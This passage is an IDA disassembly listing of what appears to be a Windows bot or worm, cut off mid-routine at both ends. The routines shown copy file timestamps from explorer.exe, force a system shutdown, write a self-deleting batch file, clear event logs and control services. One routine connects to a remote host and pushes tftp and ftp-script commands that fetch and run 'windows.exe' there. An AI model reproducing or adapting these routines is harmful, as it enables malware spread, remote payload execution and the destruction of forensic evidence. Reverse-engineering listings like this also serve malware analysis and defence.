		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4441CC	; SendMessageA
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4441CC	; SendMessageA
		push	ebx
		call	ds:dword_42B10C	; UnmapViewOfFile
		push	edi
		call	ds:dword_42B004	; CloseHandle
		xor	eax, eax
		inc	eax
		pop	ebx
		jmp	short loc_41AE13
; ---------------------------------------------------------------------------


loc_41AE11:				; CODE XREF: sub_41AD95+16j
		xor	eax, eax


loc_41AE13:				; CODE XREF: sub_41AD95+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41AD95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AE17	proc near		; CODE XREF: WinMain(x,x,x,x)+1FCp

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	esi
		xor	esi, esi
		push	esi
		lea	eax, [ebp+var_11C]
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_444124	; SearchPathA
		test	eax, eax
		jz	short loc_41AEB8
		push	ebx
		push	edi
		push	esi
		mov	edi, 80h
		push	edi
		push	3
		push	esi
		mov	esi, ds:dword_42B08C
		push	1
		push	80000000h
		lea	eax, [ebp+var_11C]
		push	eax
		call	esi	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41AEB6
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	ds:dword_42B11C	; GetFileTime
		push	ebx
		mov	ebx, ds:dword_42B004
		call	ebx	; CloseHandle
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41AEB6
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	ds:dword_42B118	; SetFileTime
		push	esi
		call	ebx	; CloseHandle


loc_41AEB6:				; CODE XREF: sub_41AE17+51j
					; sub_41AE17+87j
		pop	edi
		pop	ebx


loc_41AEB8:				; CODE XREF: sub_41AE17+28j
		pop	esi
		leave
		retn
sub_41AE17	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AEBB	proc near		; CODE XREF: sub_40274D+14E0p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_41C3D9
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4441A4	; ExitWindowsEx
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_41AEBB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AEDD	proc near		; CODE XREF: sub_40274D+254Dp
					; sub_418F38+470p

Str		= byte ptr -764h
var_364		= byte ptr -364h
Dest		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
Dst		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_43C088, esi
		push	edi
		jz	short loc_41AF01
		cmp	dword_444274, esi
		jnz	short loc_41AF01
		push	esi		; Str
		call	sub_401000
		pop	ecx


loc_41AF01:				; CODE XREF: sub_41AEDD+13j
					; sub_41AEDD+1Bj
		call	sub_40AFF6
		lea	eax, [ebp+Str]
		push	eax
		push	400h
		call	ds:dword_42B030	; GetTempPathA
		lea	eax, [ebp+Str]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		lea	eax, [ebp+Dest]
		push	eax
		call	ds:dword_42B08C	; CreateFileA
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_41B061
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+Str]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		push	esi
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	edi
		call	ds:dword_42B084	; WriteFile
		push	edi
		call	ds:dword_42B004	; CloseHandle
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		push	44h
		pop	edi
		push	edi		; Size
		lea	eax, [ebp+var_58]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		push	edi
		lea	eax, [ebp+var_15C]
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_42B633
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		call	ds:dword_42B024	; GetModuleHandleA
		push	eax
		call	ds:dword_42B00C	; GetModuleFileNameA
		lea	eax, [ebp+var_15C]
		push	eax
		call	ds:dword_42B050	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B009
		push	80h
		lea	eax, [ebp+var_15C]
		push	eax
		call	ds:dword_42B04C	; SetFileAttributesA


loc_41B009:				; CODE XREF: sub_41AEDD+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+Str]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		push	edi
		lea	eax, [ebp+var_364]
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		call	ds:dword_42B120	; ExpandEnvironmentStringsA
		lea	eax, [ebp+Dst]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		push	esi
		lea	eax, [ebp+var_364]
		push	eax
		push	esi
		call	ds:dword_42B008	; CreateProcessA


loc_41B061:				; CODE XREF: sub_41AEDD+72j
		pop	edi
		pop	esi
		leave
		retn
sub_41AEDD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41B065(int,char *Str,int,int,int)

sub_41B065	proc near		; CODE XREF: sub_40274D+6E5Fp

Dest		= byte ptr -294h
Dst		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		push	94h		; Size
		xor	edi, edi
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	eax
		mov	[ebp+Dst], 94h
		call	ds:dword_42B064	; GetVersionExA
		cmp	[ebp+var_84], 2
		jnz	short loc_41B0FB
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_444248	; OpenEventLogA
		push	edi
		push	eax
		call	dword_44411C	; ClearEventLogA
		test	eax, eax
		jz	short loc_41B0ED
		push	[ebp+arg_10]
		push	offset asc_437C50 ; "-"


loc_41B0C6:				; CODE XREF: sub_41B065+94j
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		push	edi		; int
		push	[ebp+arg_8]	; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		add	esp, 20h
		jmp	short loc_41B125
; ---------------------------------------------------------------------------


loc_41B0ED:				; CODE XREF: sub_41B065+57j
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_437C28
		jmp	short loc_41B0C6
; ---------------------------------------------------------------------------


loc_41B0FB:				; CODE XREF: sub_41B065+3Fj
		lea	eax, [ebp+Dest]
		push	offset asc_437BF8 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	edi		; int
		push	[ebp+arg_8]	; int
		lea	eax, [ebp+Dest]
		push	eax		; int
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		add	esp, 1Ch


loc_41B125:				; CODE XREF: sub_41B065+86j
		pop	edi
		leave
		retn
sub_41B065	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B128	proc near		; CODE XREF: .text:0040CEF6p
					; sub_40D7FE+434p ...

var_5A4		= byte ptr -5A4h
Dest		= byte ptr -1A4h
Dst		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A4h
		push	esi
		push	edi
		push	10h		; Size
		xor	edi, edi
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		push	eax
		mov	[ebp+Dst], 2
		call	dword_44417C	; inet_addr
		push	[ebp+arg_BC]
		mov	[ebp+var_10], eax
		call	dword_444260	; htons
		push	edi
		push	1
		push	2
		mov	[ebp+var_12], ax
		call	dword_444100	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+var_4], esi
		jz	short loc_41B18E
		push	10h
		lea	eax, [ebp+Dst]
		push	eax
		push	esi
		call	dword_4440AC	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41B195


loc_41B18E:				; CODE XREF: sub_41B128+52j
		xor	al, al
		jmp	loc_41B247
; ---------------------------------------------------------------------------


loc_41B195:				; CODE XREF: sub_41B128+64j
		push	ebx
		push	edi
		mov	ebx, 400h
		push	ebx
		lea	eax, [ebp+var_5A4]
		push	eax
		push	esi
		call	dword_444064	; recv
		mov	esi, offset aWindows_exe ; "windows.exe"
		push	esi
		push	esi
		push	[ebp+arg_0]
		call	sub_4023C9
		pop	ecx
		push	eax
		push	offset aTftpISGetSS ; "tftp -i %s get %s &%s\r\n"
		mov	edi, 190h
		lea	eax, [ebp+Dest]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		movzx	eax, word ptr dword_4D1FE4
		add	esp, 18h
		push	esi
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	sub_4023C9
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOE_1 ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+Dest]
		push	edi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 1Ch
		lea	eax, [ebp+Dest]
		push	0
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		push	[ebp+var_4]
		call	dword_4441A0	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41B228
		xor	al, al
		jmp	short loc_41B246
; ---------------------------------------------------------------------------


loc_41B228:				; CODE XREF: sub_41B128+FAj
		push	0
		push	ebx
		lea	eax, [ebp+var_5A4]
		push	eax
		push	[ebp+var_4]
		call	dword_444064	; recv
		push	[ebp+var_4]
		call	dword_444218	; closesocket
		mov	al, 1


loc_41B246:				; CODE XREF: sub_41B128+FEj
		pop	ebx


loc_41B247:				; CODE XREF: sub_41B128+68j
		pop	edi
		pop	esi
		leave
		retn
sub_41B128	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=6Ch

; int __cdecl sub_41B24B(char *Source,int,int)

sub_41B24B	proc near		; CODE XREF: sub_40274D+5347p

Dest		= word ptr -1C0h
var_15C		= byte ptr -15Ch
Str		= word ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
Source		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		lea	ebp, [esp-6Ch]
		sub	esp, 1C0h
		lea	eax, [ebp+6Ch+var_94]
		push	eax
		mov	[ebp+6Ch+var_94], 94h
		call	ds:dword_42B064	; GetVersionExA
		cmp	[ebp+6Ch+var_90], 4
		jnz	short loc_41B283
		cmp	[ebp+6Ch+var_8C], 0
		jnz	loc_41B310
		xor	eax, eax
		inc	eax
		cmp	[ebp+6Ch+var_84], eax
		jz	loc_41B30B


loc_41B283:				; CODE XREF: sub_41B24B+20j
					; sub_41B24B+CFj
		push	esi
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ds:dword_42B018	; LoadLibraryA
		mov	esi, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	esi
		call	ds:dword_42B020	; GetProcAddress
		push	32h		; MaxCount
		push	[ebp+6Ch+Source] ; Source
		mov	edi, eax
		lea	eax, [ebp+6Ch+Dest]
		push	eax		; Dest
		call	_mbstowcs
		push	32h		; MaxCount
		push	[ebp+6Ch+arg_4]	; Source
		lea	eax, [ebp+6Ch+var_15C]
		push	eax		; Dest
		call	_mbstowcs
		push	32h		; MaxCount
		push	[ebp+6Ch+arg_8]	; Source
		lea	eax, [ebp+6Ch+Str]
		push	eax		; Dest
		call	_mbstowcs
		lea	eax, [ebp+6Ch+Str]
		push	eax		; Str
		call	_wcslen
		shl	eax, 1
		push	eax
		lea	eax, [ebp+6Ch+Str]
		push	eax
		lea	eax, [ebp+6Ch+var_15C]
		push	eax
		lea	eax, [ebp+6Ch+Dest]
		push	eax
		push	0
		call	edi	; GetProcessHeap
		add	esp, 3Ch
		push	esi
		mov	edi, eax
		call	ds:dword_42B0F8	; FreeLibrary
		mov	eax, edi
		pop	edi
		pop	esi


loc_41B30B:				; CODE XREF: sub_41B24B+32j
					; sub_41B24B+D8j
		add	ebp, 6Ch
		leave
		retn
; ---------------------------------------------------------------------------


loc_41B310:				; CODE XREF: sub_41B24B+26j
		cmp	[ebp+6Ch+var_8C], 0Ah
		jz	short loc_41B320
		cmp	[ebp+6Ch+var_8C], 5Ah
		jnz	loc_41B283


loc_41B320:				; CODE XREF: sub_41B24B+C9j
		xor	eax, eax
		inc	eax
		jmp	short loc_41B30B
sub_41B24B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B325	proc near		; CODE XREF: .text:0040FCE7p
					; .text:004102E3p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	ds:dword_42B038	; GetTickCount
		push	eax
		call	sub_41ECD4
		pop	ecx
		call	_rand
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	ds:dbl_437CE8
		call	__ftol2
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B325	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B362	proc near		; CODE XREF: sub_41B39F+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		rep stosd
		lea	edi, [eax-1]
		xor	esi, esi
		test	edi, edi
		jl	short loc_41B39C
		push	ebx
		mov	ebx, edi


loc_41B37F:				; CODE XREF: sub_41B362+37j
		mov	eax, [esp+0Ch+arg_0]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41ACB2
		pop	ecx
		mov	ecx, [esp+0Ch+arg_8]
		inc	esi
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_41B37F
		pop	ebx


loc_41B39C:				; CODE XREF: sub_41B362+18j
		pop	edi
		pop	esi
		retn
sub_41B362	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41B39F(char *Str,int)

sub_41B39F	proc near		; CODE XREF: sub_417E51+96p

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Str		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	__alloca_probe
		push	ebx
		push	esi
		push	edi
		push	[ebp+Str]	; Str
		call	_strlen
		push	[ebp+arg_4]	; Str
		mov	[ebp+var_4], eax
		call	_strlen
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_41B362
		add	esp, 14h
		dec	esi
		mov	edi, esi
		jmp	short loc_41B453
; ---------------------------------------------------------------------------


loc_41B3DF:				; CODE XREF: sub_41B39F+B6j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax		; C
		call	_tolower	; _tolower
		mov	ebx, eax
		mov	eax, [ebp+Str]
		movsx	eax, byte ptr [edi+eax]
		push	eax		; C
		call	_tolower	; _tolower
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		jz	short loc_41B451


loc_41B401:				; CODE XREF: sub_41B39F+B0j
		mov	ebx, [ebp+Str]
		xor	eax, eax
		mov	al, [edi+ebx]
		push	eax
		call	sub_41ACB2
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_41B424
		mov	eax, ecx


loc_41B424:				; CODE XREF: sub_41B39F+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_41B461
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax		; C
		call	_tolower	; _tolower
		movsx	ecx, byte ptr [edi+ebx]
		push	ecx		; C
		mov	[ebp+var_8], eax
		call	_tolower	; _tolower
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_41B401


loc_41B451:				; CODE XREF: sub_41B39F+60j
		dec	edi
		dec	esi


loc_41B453:				; CODE XREF: sub_41B39F+3Ej
		test	esi, esi
		jg	short loc_41B3DF
		mov	eax, [ebp+Str]
		add	eax, edi


loc_41B45C:				; CODE XREF: sub_41B39F+C4j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41B461:				; CODE XREF: sub_41B39F+8Aj
		xor	eax, eax
		jmp	short loc_41B45C
sub_41B39F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B465	proc near		; CODE XREF: sub_41BF46+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		push	0F003Fh
		xor	ebx, ebx
		push	ebx
		push	ebx
		call	dword_4441C8	; OpenSCManagerA
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_41B48C
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_41B501
; ---------------------------------------------------------------------------


loc_41B48C:				; CODE XREF: sub_41B465+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_44424C	; OpenServiceA
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_41B4AC
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_41B4F9
; ---------------------------------------------------------------------------


loc_41B4AC:				; CODE XREF: sub_41B465+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_41B4DF
		cmp	eax, 3
		jz	short loc_41B4D0
		jle	short loc_41B4F2
		cmp	eax, 6
		jg	short loc_41B4F2
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4441EC	; ControlService
		jmp	short loc_41B4E6
; ---------------------------------------------------------------------------


loc_41B4D0:				; CODE XREF: sub_41B465+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4441D0	; StartServiceA
		jmp	short loc_41B4E6
; ---------------------------------------------------------------------------


loc_41B4DF:				; CODE XREF: sub_41B465+4Dj
		push	esi
		call	dword_4440F4	; DeleteService


loc_41B4E6:				; CODE XREF: sub_41B465+69j
					; sub_41B465+78j
		test	eax, eax
		jnz	short loc_41B4F2
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		mov	ebx, eax


loc_41B4F2:				; CODE XREF: sub_41B465+54j
					; sub_41B465+59j ...
		push	esi
		call	dword_444134	; CloseServiceHandle


loc_41B4F9:				; CODE XREF: sub_41B465+45j
		push	edi
		call	dword_444134	; CloseServiceHandle
		pop	esi


loc_41B501:				; CODE XREF: sub_41B465+25j
		pop	edi
		mov	eax, ebx
		pop	ebx
		leave
		retn
sub_41B465	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B507	proc near		; CODE XREF: sub_41BF46:loc_41BF8Ep
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_41B5B8
		jz	loc_41B5B1
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_41B57B
		jz	short loc_41B571
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_41B567
		dec	ecx
		dec	ecx
		jz	short loc_41B55D
		dec	ecx
		jz	short loc_41B553
		sub	ecx, 51h
		jz	short loc_41B549
		sub	ecx, 24h
		jnz	loc_41B62E	; default
					; jumptable 0041B5D5 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_41B620
; ---------------------------------------------------------------------------


loc_41B549:				; CODE XREF: sub_41B507+2Dj
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_41B620
; ---------------------------------------------------------------------------


loc_41B553:				; CODE XREF: sub_41B507+28j
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_41B620
; ---------------------------------------------------------------------------


loc_41B55D:				; CODE XREF: sub_41B507+25j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_41B620
; ---------------------------------------------------------------------------


loc_41B567:				; CODE XREF: sub_41B507+21j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_41B620
; ---------------------------------------------------------------------------


loc_41B571:				; CODE XREF: sub_41B507+1Aj
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_41B620
; ---------------------------------------------------------------------------


loc_41B57B:				; CODE XREF: sub_41B507+18j
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_41B5AA
		dec	ecx
		jz	short loc_41B5A3
		dec	ecx
		jz	short loc_41B59C
		dec	ecx
		jnz	loc_41B62E	; default
					; jumptable 0041B5D5 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_41B620
; ---------------------------------------------------------------------------


loc_41B59C:				; CODE XREF: sub_41B507+82j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_41B620
; ---------------------------------------------------------------------------


loc_41B5A3:				; CODE XREF: sub_41B507+7Fj
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_41B620
; ---------------------------------------------------------------------------


loc_41B5AA:				; CODE XREF: sub_41B507+7Cj
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_41B620
; ---------------------------------------------------------------------------


loc_41B5B1:				; CODE XREF: sub_41B507+Dj
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_41B620
; ---------------------------------------------------------------------------


loc_41B5B8:				; CODE XREF: sub_41B507+7j
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_41B62E ; default
					; jumptable 0041B5D5 cases 1,5,6,8,9,12,13,15,16
		jz	short loc_41B61B
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_41B62E ; default
					; jumptable 0041B5D5 cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, ds:byte_41B66F[ecx]
		jmp	ds:off_41B647[ecx*4] ; switch jump


loc_41B5DC:				; DATA XREF: .text:off_41B647o
		push	offset aTheSpecifiedDa ; jumptable 0041B5D5 case 7
		jmp	short loc_41B620
; ---------------------------------------------------------------------------


loc_41B5E3:				; CODE XREF: sub_41B507+CEj
					; DATA XREF: .text:off_41B647o
		push	offset aTheServiceDepe ; jumptable 0041B5D5 case 17
		jmp	short loc_41B620
; ---------------------------------------------------------------------------


loc_41B5EA:				; CODE XREF: sub_41B507+CEj
					; DATA XREF: .text:off_41B647o
		push	offset aTheServiceDe_0 ; jumptable 0041B5D5 case 10
		jmp	short loc_41B620
; ---------------------------------------------------------------------------


loc_41B5F1:				; CODE XREF: sub_41B507+CEj
					; DATA XREF: .text:off_41B647o
		push	offset aTheServiceHasB ; jumptable 0041B5D5 case 0
		jmp	short loc_41B620
; ---------------------------------------------------------------------------


loc_41B5F8:				; CODE XREF: sub_41B507+CEj
					; DATA XREF: .text:off_41B647o
		push	offset aTheSpecified_0 ; jumptable 0041B5D5 case 2
		jmp	short loc_41B620
; ---------------------------------------------------------------------------


loc_41B5FF:				; CODE XREF: sub_41B507+CEj
					; DATA XREF: .text:off_41B647o
		push	offset aTheServiceCoul ; jumptable 0041B5D5 case 11
		jmp	short loc_41B620
; ---------------------------------------------------------------------------


loc_41B606:				; CODE XREF: sub_41B507+CEj
					; DATA XREF: .text:off_41B647o
		push	offset aTheServiceHa_0 ; jumptable 0041B5D5 case 14
		jmp	short loc_41B620
; ---------------------------------------------------------------------------


loc_41B60D:				; CODE XREF: sub_41B507+CEj
					; DATA XREF: .text:off_41B647o
		push	offset aTheRequested_1 ; jumptable 0041B5D5 case 3
		jmp	short loc_41B620
; ---------------------------------------------------------------------------


loc_41B614:				; CODE XREF: sub_41B507+CEj
					; DATA XREF: .text:off_41B647o
		push	offset aTheServiceHasN ; jumptable 0041B5D5 case 4
		jmp	short loc_41B620
; ---------------------------------------------------------------------------


loc_41B61B:				; CODE XREF: sub_41B507+BAj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_41B620:				; CODE XREF: sub_41B507+3Dj
					; sub_41B507+47j ...
		push	offset byte_4E1EA8 ; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	short loc_41B641
; ---------------------------------------------------------------------------


loc_41B62E:				; CODE XREF: sub_41B507+32j
					; sub_41B507+85j ...
		push	eax		; default
					; jumptable 0041B5D5 cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownErr_0 ; "An unknown error occurred: <%ld>"
		push	offset byte_4E1EA8 ; Dest
		call	_sprintf
		add	esp, 0Ch


loc_41B641:				; CODE XREF: sub_41B507+125j
		mov	eax, offset byte_4E1EA8
		retn
sub_41B507	endp

; ---------------------------------------------------------------------------
off_41B647	dd offset loc_41B5F1	; DATA XREF: sub_41B507+CEr
		dd offset loc_41B5F8	; jump table for switch	statement
		dd offset loc_41B60D
		dd offset loc_41B614
		dd offset loc_41B5DC
		dd offset loc_41B5EA
		dd offset loc_41B5FF
		dd offset loc_41B606
		dd offset loc_41B5E3
		dd offset loc_41B62E
byte_41B66F	db	0,     9,     1,     2 ; DATA XREF: sub_41B507+C7r
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41B681(int,char *Str,int)

sub_41B681	proc near		; CODE XREF: sub_40274D+430Ep

var_38C		= dword	ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
Dest		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4441C8	; OpenSCManagerA
		push	ebx		; int
		push	[ebp+arg_8]	; int
		mov	[ebp+var_C], eax
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+Str]	; Str
		push	[ebp+arg_0]	; int
		call	sub_40123B
		add	esp, 14h


loc_41B6B9:				; CODE XREF: sub_41B681+123j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	168h
		lea	eax, [ebp+var_18C]
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4441D8	; EnumServicesStatusA
		test	eax, eax
		jnz	short loc_41B6F3
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		cmp	eax, 0EAh
		jnz	loc_41B7AA


loc_41B6F3:				; CODE XREF: sub_41B681+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_41B7A1
		lea	esi, [ebp+var_188]


loc_41B704:				; CODE XREF: sub_41B681+11Aj
